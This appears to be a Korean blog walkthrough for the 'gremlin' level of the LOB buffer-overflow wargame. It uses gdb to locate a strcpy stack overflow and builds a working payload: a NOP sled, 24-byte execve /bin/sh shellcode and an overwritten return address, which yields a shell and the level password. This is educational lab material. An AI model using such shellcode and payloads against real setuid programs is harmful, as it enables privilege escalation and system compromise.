gremlin, gremlin.c라는 파일이 존재한다.

cat 명령어를 사용하여 둘 다 실행시켜보자

gremlin.c는 정상적으로 출력이 되는 반면 gremlin파일은 이상한 값들이 출력된다.

.c 파일의 코드를 분석하여 문제를 해결하면 될 것 같다.

 

어디서 overflow가 터지는지를 찾아내야 될 것 같다.

buffer 함수의 경우 크기를 정해 놓아서 문제가 없을 것 같아 보인다.

 

허나 strcpy라는 함수를 사용함으로써 문제가 발생한다.(어떻게 보자마자 아냐고요? 여러 문제를 많이 풀어보면 알아요)

strcpy는 우측 인자 값을 좌측 인자에 복사하는 일을 수행하는데 이때 경계값 검사가 이루어지지 않아 overflow가 발생한다.

 

 

해야 할 일

1. strcpy의 인자 값이 복사되는 부분의 메모리 주소가 어딘지 찾기

2. 패이로드 작성하기

3. gremlin 파일에 패이로드 실행하기

 

 

gremlin 파일의 주인은 gremlin이기에 우리에게 권한이 없으므로 cp 명령어로 파일을 복사해서 test 해보자

gdb를 실행하고 설정을 좀 만져 주도록 하자

set disassembly-flavor intel은 intel형식으로 assembly를 본다는 것이고 disas main은 메인 함수를 디스어셈블 하겠다는 거다

확인을 해보면 main+54 부분에서 strcpy 함수가 불려지고 main+62 부분에서 strcpy가 인자 값을 복사 해 넣는 것을 확인할 수 있다. (lea a, b -> b값을 a에 넣는다)

 

62에 브레이크를 걸고 (b *main+62) 값을 집어넣어준다 (r `python -c 'print "A"*256'`).

 

x/100x $esp를 통해서 어디부터 어디까지 A라는 값이 들어갔는지 확인해준다.

0xbffff948부터 0xbffffa47까지 들어간 것으로 보인다. 총 256

이제 패이로드를 작성하여 보자.

 

 

buf[256] + sfp(4byte) + ret(4byte)

값이 복사되는 위치부터 ret까지 총 264바이트를 마음대로 주무를수 있다.

 

ret이 수행되는 메모리 주소에 들어있는 주소 값을 내가 원하는 위치로 향하는 주소 값으로 바꿔 주면 된다.

 

24byte shellcode를 이용하여 패이로드를 작성하였다

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

 

\x90은 NOP이다.

 

`python -c 'print "\x90" * 200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*36 + "\x48\xf9\xff\xbf"'`

 

패이로드를 계산해보면 x90 200, 쉘 코드 24, x90 36, ret 주소 4

총 264로 맞아떨어진다.

 

쉘이 실행되는 것을 확인할 수 있다.

my-pass를 이용하여 비밀번호 획득

 

아 참고로 다음 레벨로 넘어가려면 su '문제 이름' 해주면 된다. ex) su gremlin

 

'Challenge > LOB' 카테고리의 다른 글

LOB-darkelf  (0) 2020.04.11
LOB-wolfman  (0) 2020.04.11
LOB-orc  (0) 2020.04.11
LOB-goblin  (0) 2020.04.10
LOB-cobolt  (0) 2020.04.10

+ Recent posts